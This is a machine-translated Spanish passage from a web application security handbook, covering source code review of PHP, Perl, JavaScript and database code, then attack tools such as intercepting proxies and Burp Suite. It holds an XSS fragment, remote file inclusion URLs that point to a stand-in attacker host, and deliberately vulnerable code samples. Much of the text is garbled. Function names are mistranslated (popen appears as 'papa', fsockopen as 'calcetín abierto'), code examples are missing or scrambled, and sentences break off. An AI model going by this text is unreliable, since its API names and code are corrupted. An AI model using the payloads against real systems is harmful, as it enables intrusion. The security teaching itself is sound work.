/buscar.php/”><script>
etcétera.
n $GLOBALS es una matriz que contiene referencias a todas las variables definidas en el
ámbito global del script. Se puede utilizar para acceder a otras variables por su nombre. n Si
la directiva de configuración register_globals está habilitada, PHP crea variables globales para
todos los parámetros de solicitud, es decir, todo lo contenido en la matriz $_REQUEST .
Esto significa que una aplicación puede acceder a la entrada del usuario simplemente
haciendo referencia a una variable que tiene el mismo nombre que el parámetro relevante.
Si una aplicación utiliza este método para acceder a los datos proporcionados por el usuario,
es posible que no haya otra forma de identificar todas las instancias de esto que no sea a
través de una cuidadosa revisión línea por línea del código base para encontrar las variables
utilizadas de esta manera. n Además de los encabezados HTTP estándar identificados
anteriormente, PHP agrega una entrada a la matriz $_SERVER para cualquier encabezado
HTTP personalizado recibido en la solicitud. Por ejemplo, proporcionando el encabezado:
Foo: Bar
causas:
$_SERVER['HTTP_FOO'] = “Barra”
Machine Translated by Google
n Los parámetros de entrada cuyos nombres contienen subíndices entre corchetes se convierten
automáticamente en matrices. Por ejemplo, solicitando esta URL:
https://wahh-app.com/search.php?query[a]=foo&query[b]=bar
hace que el valor de la variable $_GET['query'] sea una matriz que contiene dos
miembros. Esto puede provocar un comportamiento inesperado dentro de la aplicación si
se pasa una matriz a una función que espera un valor escalar.
Interacción de sesión
PHP usa la matriz $_SESSION como una forma de almacenar y recuperar información dentro
de la sesión del usuario. Por ejemplo:
Acceso a archivos
PHP implementa una gran cantidad de funciones para acceder a archivos, muchas de las cuales
aceptan URL y otras construcciones que pueden usarse para acceder a archivos remotos.
Las siguientes funciones se utilizan para leer o escribir el contenido de un archivo específico.
Si se pasan datos controlables por el usuario a estas API, un atacante puede explotarlos para
acceder a archivos arbitrarios en el sistema de archivos del servidor.
n abierto
n leer archivo
n archivo
n fpassthru
n gzopen
Machine Translated by Google
n archivo gz
n gzpassthru
n readgzfile
n copia
n renombrar
n rmdir
n mkdir
n desvincular
n file_get_contents
n file_put_contents
n parse_ini_file
Las siguientes funciones se utilizan para incluir y evaluar un script PHP específico . Si un atacante
puede hacer que la aplicación evalúe un archivo que controla, puede lograr la ejecución de comandos
arbitrarios en el servidor.
n incluir
n incluir_una vez
n requiere
n requiere_una vez
n virtuales
Tenga en cuenta que incluso si no es posible incluir archivos remotos, la ejecución de comandos aún
puede ser posible si hay una forma de cargar archivos arbitrarios en una ubicación del servidor.
La opción de configuración de PHP allow_url_fopen se puede usar para evitar que algunas funciones
de archivo accedan a archivos remotos. Sin embargo, de manera predeterminada, esta opción se establece
en 1 (lo que significa que se permiten archivos remotos), por lo que los protocolos enumerados en la Tabla
19-8 se pueden usar para recuperar un archivo remoto.
Tabla 19-8: Protocolos de red que se pueden usar para recuperar un archivo remoto
PROTOCOLO EJEMPLO
FTP ftp://usuario:contraseñ[email protected]/bad.php
SSH ssh2.shell://usuario:contraseñ[email protected]:22/xterm
ssh2.exec://usuario:contraseñ[email protected]:22/cmd
Machine Translated by Google
Tabla 19-9: Métodos que pueden permitir el acceso a archivos remotos incluso si allow_url_fopen
se establece en 0
MÉTODO EJEMPLO
PYME \\wahh-atacante.com\malo.php
NOTA PHP 5.2 y versiones posteriores tienen una nueva opción, allow_url_include, que está
desactivada de forma predeterminada. Esta configuración predeterminada evita que cualquiera de
los métodos anteriores se utilice para especificar un archivo remoto al llamar a una de las funciones
de inclusión de archivos.
Las siguientes funciones se utilizan para enviar una consulta a una base de datos y recuperar
los resultados:
n mysql_query
n mssql_query
n pg_query
La instrucción SQL se pasa como una cadena simple. Si la entrada controlable por el
usuario es parte del parámetro de cadena, la aplicación probablemente sea vulnerable a la
inyección SQL. Por ejemplo:
Las siguientes funciones se pueden utilizar para crear sentencias preparadas. Esto permite
que una aplicación cree una consulta SQL que contenga marcadores de posición de parámetros
y establezca sus valores de forma segura y con seguridad de tipos:
n mysqli->preparar
n sentencia->preparar
n sentencia->bind_param
n sentencia->ejecutar
n odbc_prepare
Si se usa según lo previsto, este mecanismo no es vulnerable a la inyección de SQL. Por ejemplo:
Las siguientes funciones se pueden utilizar para evaluar dinámicamente el código PHP:
evaluación _
n call_user_func
n call_user_func_array
n call_user_method
n call_user_method_array
n crear_función
El delimitador de punto y coma se puede usar para agrupar varias declaraciones. Si se pasan datos
controlables por el usuario a cualquiera de estas funciones, la aplicación probablemente sea vulnerable a
la inyección de secuencias de comandos.
La función preg_replace, que realiza una búsqueda y reemplazo de expresiones
regulares , se puede usar para ejecutar una pieza específica de código PHP en cada
coincidencia si se llama con la opción /e . Si aparecen datos controlables por el usuario en
el PHP que se ejecuta dinámicamente, la aplicación probablemente sea vulnerable.
Machine Translated by Google
<?php
$var=$_GET['función']; $var();
?>
Estas funciones se pueden utilizar para ejecutar comandos del sistema operativo:
ejecutivo _
n de paso
n papa
n proc_abierto
n shell_exec
sistema n
Redirección de URL
Las siguientes API se pueden usar para emitir una redirección HTTP en PHP:
n http_redirect
encabezado _
n HttpMessage::setResponseCode
n HttpMessage::setHeaders
También debe revisar cualquier uso de las API setResponseCode y setHeaders . Dado
que una redirección simplemente implica una respuesta 3xx que contiene un encabezado
de ubicación HTTP , una aplicación puede implementar redirecciones utilizando estas API.
Enchufes
Las siguientes API se pueden usar para crear y usar sockets de red en PHP:
n socket_create
n socket_conectar
n socket_escribir
n socket_enviar
n socket_recv
n calcetín abierto
n pfsockabierto
Registro Globales
Si la directiva register_globals está habilitada, PHP crea variables globales para todos los
parámetros de solicitud. Dado que PHP no requiere que las variables se inicialicen antes
de su uso, esta opción puede conducir fácilmente a vulnerabilidades de seguridad en las
que un atacante puede hacer que una variable se inicialice con un valor arbitrario.
Por ejemplo, el siguiente código verifica las credenciales de un usuario y establece la
variable $authenticated en 1 si son válidas:
Modo seguro
NOTA No todas las funciones peligrosas están restringidas por el modo seguro
y algunas restricciones se ven afectadas por otras opciones de configuración.
Además, hay varias formas de eludir algunas restricciones del modo seguro. El
modo seguro no debe considerarse una panacea para los problemas de seguridad
dentro de las aplicaciones PHP. El modo seguro se eliminó de la versión 6 de PHP.
Cotizaciones mágicas
La opción de comillas mágicas puede resultar en una modificación no deseada de la entrada del
usuario, cuando los datos se procesan en un contexto que no requiere ningún escape.
Esto puede resultar en la adición de barras que deben eliminarse mediante
la función stripslashes .
Algunas aplicaciones realizan su propio escape de entrada relevante al pasar
parámetros individuales a través de la función de barras adicionales solo cuando es necesario.
Si las comillas mágicas están habilitadas en la configuración de PHP, este enfoque da como resultado
caracteres con doble escape. Las barras inclinadas duplicadas se interpretan como barras diagonales
inversas literales, lo que deja el carácter potencialmente malicioso sin escapar.
Debido a las limitaciones y anomalías de la opción de comillas mágicas, se recomienda que
se utilicen sentencias preparadas para un acceso seguro a la base de datos y que se deshabilite
la opción de comillas mágicas.
Misceláneas
La Tabla 19-10 enumera algunas opciones de configuración misceláneas que pueden afectar la
seguridad de las aplicaciones PHP.
Machine Translated by Google
OPCIÓN DESCRIPCIÓN
mostrar_errores Si está deshabilitada, esta directiva evita que los errores de PHP se
informen al navegador del usuario. Las opciones log_errors y error_log
se pueden utilizar para registrar información de error en el servidor
con fines de diagnóstico.
archivos_subidos Si está habilitada, esta directiva hace que PHP permita la carga de archivos a
través de HTTP.
Perl
Esta sección describe formas de adquirir entradas proporcionadas por el usuario, formas de
interactuar con la sesión del usuario, API potencialmente peligrosas y opciones de configuración
relevantes para la seguridad en la plataforma Perl.
El lenguaje Perl es conocido por permitir a los desarrolladores realizar la misma tarea de
muchas maneras. Además, se pueden utilizar numerosos módulos de Perl para cumplir con
diferentes requisitos. Cualquier módulo inusual o patentado en uso debe revisarse de cerca
para identificar si utiliza funciones poderosas o peligrosas y, por lo tanto, puede presentar
las mismas vulnerabilidades que si la aplicación hiciera uso directo de esas funciones.
CGI.pm es un módulo Perl ampliamente utilizado para crear aplicaciones web. Proporciona
las API que es más probable que encuentre al realizar una revisión de código de una
aplicación web escrita en Perl.
Las funciones listadas en la Tabla 19-11 son todas miembros del objeto de consulta CGI.
Machine Translated by Google
Tabla 19-11: Miembros de consulta CGI utilizados para adquirir datos proporcionados por el usuario
FUNCIÓN DESCRIPCIÓN
parámetro Llamado sin parámetros, param devuelve una lista de todos los nombres
de parámetros en la solicitud.
param_fetch
Llamado con el nombre de un parámetro, param devuelve el valor de
ese parámetro de solicitud.
agente de usuario Devuelve el valor del encabezado del agente de usuario HTTP.
http Devuelve una lista de todas las variables de entorno HTTP derivadas de
la solicitud actual.
https
leeranalizar Crea una matriz denominada %in que contiene los nombres y valores
de todos los parámetros de solicitud.
Interacción de sesión
El módulo de Perl CGISession.pm amplía el módulo CGI.pm y brinda soporte para el
seguimiento de sesiones y el almacenamiento de datos. Por ejemplo:
Acceso a archivos
n abierto
n sistema abierto
$direcciónusuario = $consulta-
>param(“direcciónusuario”); abierto (CORREO, “| /usr/bin/
sendmail $useraddr”); imprimir CORREO “Para: $useraddr\n”;
...
La función selectall_arrayref envía una consulta a una base de datos y recupera los resultados
como una matriz de matrices. La función do ejecuta una consulta y simplemente devuelve el
número de filas afectadas. En ambos casos, la instrucción SQL se pasa como una cadena simple.
Si la entrada controlable por el usuario forma parte del parámetro de cadena, la aplicación
probablemente sea vulnerable a la inyección SQL. Por ejemplo:
Las funciones preparar y ejecutar se pueden usar para crear declaraciones preparadas, lo que
permite que una aplicación cree una consulta SQL que contenga parámetros
Machine Translated by Google
eval se puede usar para ejecutar dinámicamente una cadena que contiene código Perl. El delimitador
de punto y coma se puede usar para agrupar varias declaraciones. Si se pasan datos controlables por
el usuario a esta función, la aplicación probablemente sea vulnerable a la inyección de secuencias de
comandos.
Las siguientes funciones se pueden utilizar para ejecutar comandos del sistema operativo:
sistema n
ejecutivo _
nqx _
Redirección de URL
La función de redirección , que es miembro del objeto de consulta CGI, toma una cadena
que contiene una URL relativa o absoluta, a la que se redirige al usuario. Si el valor de
esta cadena es controlable por el usuario, la aplicación probablemente sea más
vulnerable a un vector de phishing.
Machine Translated by Google
Enchufes
Después de que se crea un socket usando socket, se conecta a un host remoto a través de
una llamada para conectarse, que toma una estructura sockaddr_in compuesta por los
detalles del host y el puerto del destino. Si esta información del host es controlable por el
usuario de alguna manera, la aplicación puede explotarse para generar conexiones de red a
hosts arbitrarios, ya sea en Internet o en la DMZ privada o en la red interna en la que se aloja
la aplicación.
#!/usr/bin/perl -T
Aunque el mecanismo del modo contaminado está diseñado para ayudar a proteger contra
muchos tipos de vulnerabilidades, solo es efectivo si los desarrolladores usan expresiones
regulares apropiadas al extraer datos limpios de entradas contaminadas. Si una expresión
es demasiado liberal y extrae datos que pueden causar problemas en el contexto en el que se
Machine Translated by Google
se utilizará, la protección del modo corrupto falla y la aplicación sigue siendo vulnerable .
En efecto, el mecanismo del modo contaminado recuerda a los programadores que realicen
una validación adecuada de todas las entradas antes de usarlas en operaciones peligrosas.
No puede garantizar que la validación de entrada implementada sea adecuada.
JavaScript
Por supuesto, se puede acceder a JavaScript del lado del cliente sin necesidad de acceso
privilegiado a la aplicación, lo que le permite realizar una revisión de código centrada en la
seguridad en cualquier situación. Un enfoque clave de esta revisión es identificar cualquier
vulnerabilidad, como XSS basado en DOM, que se introduce en el componente del cliente
y deja a los usuarios vulnerables a los ataques (consulte el Capítulo 12). Otra razón para
revisar JavaScript es comprender qué tipos de validación de entrada se implementan en el
cliente y también cómo se construyen las interfaces de usuario generadas dinámicamente.
API DESCRIPCIÓN
documento.referente
ventana.ubicación
ventana.execScript()
ventana.establecerIntervalo()
ventana.setTimeout()
Machine Translated by Google
Las aplicaciones web utilizan cada vez más las bases de datos para mucho más que el almacenamiento
pasivo de datos. Las bases de datos actuales contienen ricas interfaces de programación, lo que
permite implementar una lógica comercial sustancial dentro del nivel de la base de datos. Los
desarrolladores utilizan con frecuencia componentes de código de base de datos, como procedimientos
almacenados, disparadores y funciones definidas por el usuario, para llevar a cabo tareas clave. Por
lo tanto, cuando revise el código fuente de una aplicación web, debe asegurarse de que toda la lógica
implementada en la base de datos esté incluida en el alcance de la revisión.
Los errores de programación en los componentes del código de la base de datos pueden dar lugar
a cualquiera de los diversos defectos de seguridad descritos en este capítulo. En la práctica, sin
embargo, debe estar atento a dos áreas principales de vulnerabilidades. Primero, los componentes de
la base de datos pueden contener fallas de inyección SQL. En segundo lugar, la entrada del usuario
puede pasar a funciones potencialmente peligrosas de manera insegura.
Inyección SQL
El Capítulo 9 describió cómo las sentencias preparadas se pueden usar como una alternativa segura
a las sentencias SQL dinámicas para prevenir ataques de inyección SQL. Sin embargo, incluso si las
declaraciones preparadas se utilizan correctamente en el propio código de la aplicación web , aún
pueden existir fallas de inyección de SQL si los componentes del código de la base de datos construyen
consultas a partir de la entrada del usuario de manera insegura.
El siguiente es un ejemplo de un procedimiento almacenado que es vulnerable a SQL
inyección en el parámetro @name :
n MS-SQL — EXEC
n Oracle — EJECUTAR INMEDIATO
Machine Translated by Google
n Sybase — EXEC
n DB2 — EXEC SQL
Cualquier aparición de estas expresiones dentro de los componentes del código de la base de datos
debe revisarse detenidamente. Si se utiliza la entrada del usuario para construir la cadena SQL, la
aplicación puede ser vulnerable a la inyección SQL.
Las siguientes funciones pueden ser potencialmente peligrosas si se invocan de forma no segura:
n Funciones que dan como resultado el acceso a la red, como a través de OpenRowSet en
MS-SQL o un enlace de base de datos en Oracle
Machine Translated by Google
La metodología que hemos descrito para realizar una revisión de código consiste
esencialmente en leer el código fuente y buscar patrones que indiquen la captura de la
entrada del usuario y el uso de API potencialmente peligrosas. Para llevar a cabo una
revisión de código de manera efectiva, es preferible utilizar una herramienta inteligente para
navegar por la base de código. Necesita una herramienta que comprenda las construcciones
de código en un idioma en particular, proporcione información contextual sobre expresiones
y API específicas, y facilite su navegación.
En muchos idiomas, puede utilizar uno de los estudios de desarrollo disponibles, como
Visual Studio, NetBeans o Eclipse. Además, varias herramientas genéricas de exploración
de código admiten numerosos idiomas y están optimizadas para la visualización del código
en lugar del desarrollo. La herramienta preferida de los autores es Source Insight, que se
muestra en la Figura 19-1. Admite una navegación sencilla por el árbol de fuentes, una
función de búsqueda versátil, un panel de vista previa para mostrar información contextual
sobre cualquier expresión seleccionada y una navegación rápida por el código base.
Figura 19-1: Source Insight se utiliza para buscar y examinar el código fuente de
una aplicación web
Machine Translated by Google
Resumen
Muchas personas que tienen una gran experiencia en la prueba de aplicaciones web
de forma interactiva muestran un miedo irracional a mirar dentro del código base de
una aplicación para descubrir vulnerabilidades directamente. Este miedo es
comprensible para las personas que no son programadores, pero rara vez se justifica.
Cualquiera que esté familiarizado con el manejo de computadoras puede, con una
pequeña inversión, obtener el conocimiento y la confianza suficientes para realizar una
auditoría de código efectiva. Su objetivo al revisar el código base de una aplicación no
necesita ser descubrir “todas” las vulnerabilidades que contiene, como tampoco se
fijaría esta meta poco realista al realizar pruebas prácticas. Más razonablemente,
puede aspirar a comprender parte del procesamiento clave que realiza la aplicación en
la entrada proporcionada por el usuario y reconocer algunas de las firmas que apuntan a problemas potenciales
Enfocada de esta manera, la revisión de código puede ser un complemento extremadamente útil
para las pruebas de caja negra más familiares. Puede mejorar la efectividad de esas pruebas y
revelar defectos que pueden ser extremadamente difíciles de descubrir cuando se trata de una
aplicación completamente externa.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
2. ¿Por qué identificar todas las fuentes de entrada del usuario a veces puede ser un desafío
al revisar una aplicación PHP?
3. Considere los siguientes dos métodos para realizar una consulta SQL que incorpore la
entrada proporcionada por el usuario:
// Método 1
String artista = request.getParameter(“artista”).replaceAll(“'”, “''”); String género = request.getParameter(“género”).replaceAll(“'”,
“''”); String album = request.getParameter(“álbum”).replaceAll(“'”, “''”); Sentencia s = conexión.createStatement();
s.executeQuery(“SELECCIONE * DESDE música DONDE artista =
'” + artista +
'” '” Y álbum = '”
'” Y género = + genero + + álbum + “'”);
// método 2
String artista = request.getParameter(“artista”); String género =
request.getParameter(“género”); String album = request.getParameter(“álbum”);
Declaración s = conexión.prepareStatement(
si (nombre == nulo)
nombre = “”;
5. Está revisando el mecanismo que utiliza una aplicación para generar tokens de
sesión. El código correspondiente es el siguiente:
CAPÍTULO R
20
Una aplicación web
Caja de herramientas del hacker
Algunos ataques a aplicaciones web se pueden realizar utilizando solo un navegador web
estándar; sin embargo, la mayoría de ellos requieren el uso de algunas herramientas adicionales.
Muchas de estas herramientas funcionan junto con el navegador, ya sea como extensiones
que modifican la propia funcionalidad del navegador o como herramientas externas que se
ejecutan junto con el navegador y modifican su interacción con la aplicación de destino.
El elemento más importante de su caja de herramientas cae en esta última categoría.
Funciona como un proxy web interceptor, lo que le permite ver y modificar todos los mensajes
HTTP que pasan entre su navegador y la aplicación de destino. A lo largo de los años, los
proxies de interceptación básicos se han convertido en potentes conjuntos de herramientas
integradas que contienen muchas otras funciones diseñadas para ayudarlo a atacar
aplicaciones web. Este capítulo examina cómo funcionan estas herramientas y describe cómo
puede utilizar mejor su funcionalidad.
La segunda categoría principal de herramientas es el escáner de aplicaciones web independiente.
Este producto está diseñado para automatizar muchas de las tareas involucradas en atacar una
aplicación web, desde el mapeo inicial hasta la búsqueda de vulnerabilidades. Este capítulo examina
las fortalezas y debilidades inherentes de los escáneres de aplicaciones web independientes y
analiza brevemente algunas herramientas actuales en esta área.
Finalmente, numerosas herramientas más pequeñas están diseñadas para realizar tareas
específicas al probar aplicaciones web. Aunque puede usar estas herramientas solo ocasionalmente,
pueden resultar extremadamente útiles en situaciones particulares.
747
Machine Translated by Google
Navegadores web
explorador de Internet
Internet Explorer (IE) de Microsoft ha sido durante muchos años el navegador web más utilizado. Lo
sigue siendo según la mayoría de las estimaciones, capturando aproximadamente el 45% del
mercado. Prácticamente todas las aplicaciones web están diseñadas y probadas en las versiones
actuales de IE. Esto hace que IE sea una buena opción para un atacante, ya que el contenido y la
funcionalidad de la mayoría de las aplicaciones se muestran correctamente y se pueden usar
correctamente dentro de IE. En particular, otros navegadores no son compatibles de forma nativa
con los controles ActiveX, lo que hace que IE sea obligatorio si una aplicación emplea esta tecnología.
Una restricción impuesta por IE es que está restringido a trabajar con la plataforma Microsoft
Windows.
Debido a la adopción generalizada de IE, cuando esté probando secuencias de comandos entre
sitios y otros ataques contra usuarios de aplicaciones, siempre debe intentar que sus ataques
funcionen contra este navegador si es posible (consulte el Capítulo 12).
Varias extensiones útiles están disponibles para IE que pueden ser de ayuda al atacar aplicaciones
web, incluidas las siguientes:
n HttpWatch, que se muestra en la Figura 20-1, analiza todas las solicitudes y respuestas de
HTTP y brinda detalles de encabezados, cookies, URL, parámetros de solicitud, códigos de
estado de HTTP y redireccionamientos.
Figura 20-1: HttpWatch analiza las solicitudes HTTP emitidas por Internet Explorer
Firefox
Firefox es actualmente el segundo navegador web más utilizado. Según la mayoría de
las estimaciones , representa aproximadamente el 35% del mercado. La mayoría de las
aplicaciones web funcionan correctamente en Firefox; sin embargo, no tiene soporte nativo
para controles ActiveX.
Hay muchas variaciones sutiles entre el manejo de HTML y JavaScript de los diferentes
navegadores, particularmente cuando no cumplen estrictamente con los estándares. A
menudo, descubrirá que las defensas de una aplicación contra errores , como secuencias
de comandos entre sitios, significan que sus ataques no son efectivos contra todas las
plataformas de navegador. La popularidad de Firefox es suficiente para que los exploits
XSS específi cos de Firefox sean perfectamente válidos, por lo que debe probarlos con
Firefox si encuentra dificultades para que funcionen con IE. Además, las características
específi cas de Firefox históricamente han permitido una variedad de ataques que no son
posibles contra IE, como se describe en el Capítulo 13.
Machine Translated by Google
Hay un gran número de extensiones de navegador disponibles para Firefox que pueden ser
útil cuando se atacan aplicaciones web, incluidas las siguientes:
FoxyProxy permite una administración fl exible de la configuración de proxy del navegador , lo que
permite cambiar rápidamente, configurar diferentes proxies para diferentes URL, etc.
control de acceso, así como cambiar entre diferentes proxies, borrar el caché y cambiar el agente
de usuario del navegador.
n La barra de herramientas Web Developer proporciona una variedad de funciones útiles. Entre las
más útiles se encuentran la capacidad de ver todos los enlaces en una página, alterar HTML
para hacer que los campos de formulario se puedan escribir, eliminar longitudes máximas,
mostrar campos de formulario ocultos y cambiar un método de solicitud de GET a POST.
Cromo
Chrome es relativamente nuevo en la escena de los navegadores, pero ha ganado popularidad
rápidamente, capturando aproximadamente el 15% del mercado.
Hay varias extensiones de navegador disponibles para Chrome que pueden ser útiles cuando se
atacan aplicaciones web, incluidas las siguientes:
n XSS Rays es una extensión que prueba las vulnerabilidades XSS y permite la inspección DOM.
Es probable que Chrome contenga una buena cantidad de características extravagantes que se
pueden usar al construir exploits para XSS y otras vulnerabilidades. Debido a que Chrome es
relativamente nuevo, es probable que estos sean un objetivo fructífero para la investigación en los
próximos años.
Machine Translated by Google
Después del navegador web esencial, el elemento más útil en su conjunto de herramientas cuando
se ataca una aplicación web es un proxy de interceptación. En los primeros días de las aplicaciones
web, el proxy de intercepción era una herramienta independiente que proporcionaba una
funcionalidad mínima. El venerable representante de Aquiles simplemente mostró cada solicitud y
respuesta para su edición. Aunque era extremadamente básico, con errores y un dolor de cabeza
para usar, Achilles fue suficiente para comprometer muchas aplicaciones web en manos de un
atacante experto.
A lo largo de los años, el humilde proxy de interceptación se ha convertido en una serie de
conjuntos de herramientas altamente funcionales, cada uno de los cuales contiene varias
herramientas interconectadas diseñadas para facilitar las tareas comunes involucradas en atacar una aplicación web.
Los evaluadores de seguridad de aplicaciones web suelen utilizar varios conjuntos de pruebas:
n Burp Suite
n WebEscarabajo
n Paros
Andíparos
n violinista
n gato
n Carlos
Estos conjuntos de herramientas difieren ampliamente en sus capacidades, y algunos son más
nuevos y experimentales que otros. En términos de funcionalidad pura, Burp Suite es la más
sofisticada y actualmente es el único conjunto de herramientas que contiene toda la funcionalidad
descrita en las siguientes secciones. Hasta cierto punto, qué herramientas usas es una cuestión de
preferencia personal. Si aún no tiene una preferencia, le recomendamos que descargue y use varias
de las suites en una situación real y establezca cuál se adapta mejor a sus necesidades.
Esta sección examina cómo funcionan las herramientas y describe los flujos de trabajo comunes
involucrados para hacer el mejor uso de ellas en las pruebas de su aplicación web.
Cada conjunto de pruebas integrado contiene varias herramientas complementarias que comparten
información sobre la aplicación de destino. Por lo general, el atacante se enfrenta con el
Machine Translated by Google
Proxies interceptores
El proxy de interceptación se encuentra en el corazón del conjunto de herramientas y sigue
siendo hoy el único componente esencial. Para usar un proxy de interceptación, debe configurar
su navegador para usar como su servidor proxy un puerto en la máquina local. La herramienta
proxy está configurada para escuchar en este puerto y recibe todas las solicitudes emitidas por
el navegador. Debido a que el proxy tiene acceso a las comunicaciones bidireccionales entre el
navegador y el servidor web de destino, puede detener cada mensaje para que el usuario lo
revise y modifique y realizar otras funciones útiles, como se muestra en la Figura 20-2.
Configuración de su navegador
Si nunca ha configurado su navegador para usar un servidor proxy, esto es fácil de hacer en
cualquier navegador. Primero, establezca qué puerto local usa su proxy de intercepción de forma
predeterminada para escuchar las conexiones (generalmente 8080). Luego siga los pasos
requeridos por su navegador:
para las direcciones que comienzan con el recuadro, elimine estas expresiones. Haga clic en Aceptar
en todos los cuadros de diálogo para confi rmar la nueva configuración.
que se envía con el sistema operativo en el que se ejecuta. Puede acceder a esta configuración a través
de Chrome seleccionando Opciones ÿ Debajo del capó ÿ Red ÿ Cambiar configuración de proxy.
Figura 20-2: Edición de una solicitud HTTP sobre la marcha utilizando un proxy de interceptación
Machine Translated by Google
127.0.0.1 www.wahh-app.com
Esto hace que las solicitudes del cliente grueso se redirijan a su propia
computadora.
4. Para cada nombre de host que haya redirigido utilizando su archivo de hosts,
configure Burp para resolver el nombre de host en su dirección IP original.
Esta configuración se puede encontrar en Opciones ÿ Conexiones ÿ Resolución de nombre de host.
Le permiten especificar asignaciones personalizadas de nombres de dominio a
direcciones IP para anular la propia resolución DNS de su computadora. Esto
hace que las solicitudes salientes de Burp se dirijan al servidor de destino correcto.
(Sin este paso, las solicitudes se redirigirían a su propia computadora en un
bucle infinito).
Machine Translated by Google
se trata de comunicaciones HTTP sin cifrar, un proxy interceptor funciona esencialmente de la misma
manera que un proxy web normal, como se describe en el Capítulo 3. El navegador envía solicitudes
HTTP estándar al proxy, con la excepción de que la URL en el La primera línea de la solicitud contiene
el nombre de host completo del servidor web de destino. El proxy analiza este nombre de host, lo
resuelve en una dirección IP, convierte la solicitud a su equivalente estándar que no es de proxy y la
reenvía al servidor de destino. Cuando ese servidor responde, el proxy reenvía la respuesta al
navegador del cliente.
Para las comunicaciones HTTPS, el navegador primero realiza una solicitud de texto
claro al proxy mediante el método CONNECT , especificando el nombre de host y el
puerto del servidor de destino. Cuando se utiliza un proxy normal (que no intercepta), el
proxy responde con un código de estado HTTP 200 y mantiene abierta la conexión TCP.
A partir de ese momento (para esa conexión), el proxy actúa como un relé de nivel TCP
para el servidor de destino. Luego, el navegador realiza un protocolo de enlace SSL
con el servidor de destino, configurando un túnel seguro a través del cual pasar
mensajes HTTP. Con un proxy interceptor, este proceso debe funcionar de manera
diferente para que el proxy pueda acceder a los mensajes HTTP que el navegador
envía a través del túnel. Como se muestra en la Figura 20-3, después de responder a
la solicitud de CONEXIÓN con un código de estado HTTP 200, el proxy interceptor no
actúa como un retransmisor, sino que realiza el final del protocolo de enlace SSL del
servidor con el navegador. También actúa como un cliente SSL y realiza un segundo
protocolo de enlace SSL con el servidor web de destino. Por lo tanto, se crean dos
túneles SSL, con el proxy actuando como intermediario. Esto permite que el proxy descifre cada mensaje
Machine Translated by Google
a través de cualquiera de los túneles, obtenga acceso a su forma de texto claro y luego
vuelva a cifrarlo para transmitirlo a través del otro túnel.
Proxy interceptor
GET / HTTP/1.1
1101001000100 Agente de usuario: 1001001101000
11010100000... Mozilla/ 4.0 (compatible; 10001001001...
MSIE 7.0; Windows NT 5.1)
Anfitrión: wahh-app.com
...
HTTP/1.1 200 OK
1100100110010 Tipo de contenido: 0010010100001
01010101110... texto/ html Longitud del 01111010100...
contenido: 24246
<html><cabeza>...
Figura 20-3: Un proxy interceptor le permite ver y modificar las comunicaciones HTTPS
certificado de cosecha propia de esta manera normalmente es sencillo. Sin embargo, en otras
situaciones aún puede encontrar problemas. Muchas de las aplicaciones actuales implican
numerosas solicitudes entre dominios de imágenes, código de script y otros recursos. Cuando
se usa HTTPS, cada solicitud a un dominio externo hace que el navegador reciba el certificado
SSL no válido del proxy. En esta situación, los navegadores no suelen advertir al usuario y,
por tanto, no le dan la opción de aceptar el certificado SSL no válido para cada dominio. Más
bien, normalmente descartan las solicitudes entre dominios, ya sea de forma silenciosa o con
una alerta que indica que esto ha ocurrido.
Figura 20-4: El uso de un proxy interceptor con comunicaciones HTTPS genera una
advertencia en el navegador del atacante
Otra situación en la que los certificados SSL de cosecha propia del proxy pueden causar
problemas es cuando utiliza un cliente pesado que se ejecuta fuera del navegador.
Normalmente, estos clientes simplemente no se conectan si se recibe un certificado SSL no
válido y no proporcionan ninguna forma de aceptar el certificado.
Afortunadamente, hay una forma sencilla de eludir estos problemas. Durante la instalación ,
Burp Suite genera un certificado de CA único para el usuario actual y lo almacena en la
máquina local. Cuando Burp Proxy recibe una solicitud HTTPS para un nuevo dominio, crea
un nuevo certificado de host para este dominio sobre la marcha y lo firma con el certificado de
CA. Esto significa que el usuario puede instalar el certificado CA de Burp como una raíz de
confianza en su navegador (u otra tienda de confianza). Todos los certificados por host
resultantes se aceptan como válidos, eliminando así todos los errores de SSL causados por el
proxy.
Machine Translated by Google
http://portswigger.net/burp/help/servercerts.html
n Un historial detallado de todas las solicitudes y respuestas, lo que permite revisar los
mensajes anteriores y pasarlos a otras herramientas de la suite para un análisis más
detallado (consulte la Figura 20-6). Puede filtrar y buscar en el historial del proxy para
encontrar rápidamente elementos específicos, y puede anotar elementos interesantes
para futuras referencias. n Reglas automatizadas de emparejar y reemplazar para
modificar dinámicamente el contenido de solicitudes y respuestas. Esta función puede
ser útil en numerosas situaciones. Los ejemplos incluyen reescribir el valor de una
cookie u otro parámetro en todas las solicitudes, eliminar las directivas de caché y
simular un navegador específico con el encabezado User-Agent . n Acceso a la
funcionalidad de proxy directamente desde el navegador, además de la interfaz de usuario
del cliente. Puede navegar por el historial del proxy y volver a emitir solicitudes
individuales desde el contexto de su navegador, lo que permite que las respuestas se
procesen e interpreten por completo de la forma habitual.
n Utilidades para manipular el formato de los mensajes HTTP, como la conversión entre
diferentes métodos de solicitud y codificaciones de contenido. A veces , estos pueden
ser útiles cuando se ajusta un ataque, como las secuencias de comandos entre sitios.
Machine Translated by Google
n Funciones para modificar automáticamente ciertas funciones HTML sobre la marcha. Puede
mostrar los campos de formulario ocultos, eliminar los límites de campo de entrada y eliminar
la validación de formulario de JavaScript.
Figura 20-5: Burp proxy admite la configuración de reglas detalladas para interceptar
solicitudes y respuestas
Figura 20-6: El historial del proxy, que le permite ver, filtrar, buscar y anotar
solicitudes y respuestas realizadas a través del proxy
Machine Translated by Google
Funciones de varias etapas que requieren que las acciones se realicen en una secuencia defi nida
n Autenticación y sesiones
n Actualización automática del mapa del sitio con URL a las que se accede a través de la intercepción
proxy de ing.
n Rastreo pasivo del contenido procesado por el proxy, analizándolo en busca de enlaces y
agregándolos al mapa del sitio sin solicitarlos realmente (consulte la Figura 20-7).
n Control detallado sobre el alcance del spidering automatizado. Esto le permite especificar
qué nombres de host, direcciones IP, rutas de directorio, tipos de archivos,
Machine Translated by Google
y otros elementos que la araña debe solicitar para centrarse en un área particular de
funcionalidad. Debe evitar que la araña siga enlaces inapropiados dentro o fuera de la
infraestructura de la aplicación de destino. Esta función también es esencial para evitar
el uso de funcionalidades poderosas como las interfaces administrativas, que pueden
causar efectos secundarios peligrosos, como la eliminación de cuentas de usuario.
También es útil para evitar que la araña solicite la función de cierre de sesión, invalidando
así su propia sesión. n Análisis automático de formularios HTML, scripts, comentarios e
imágenes, y
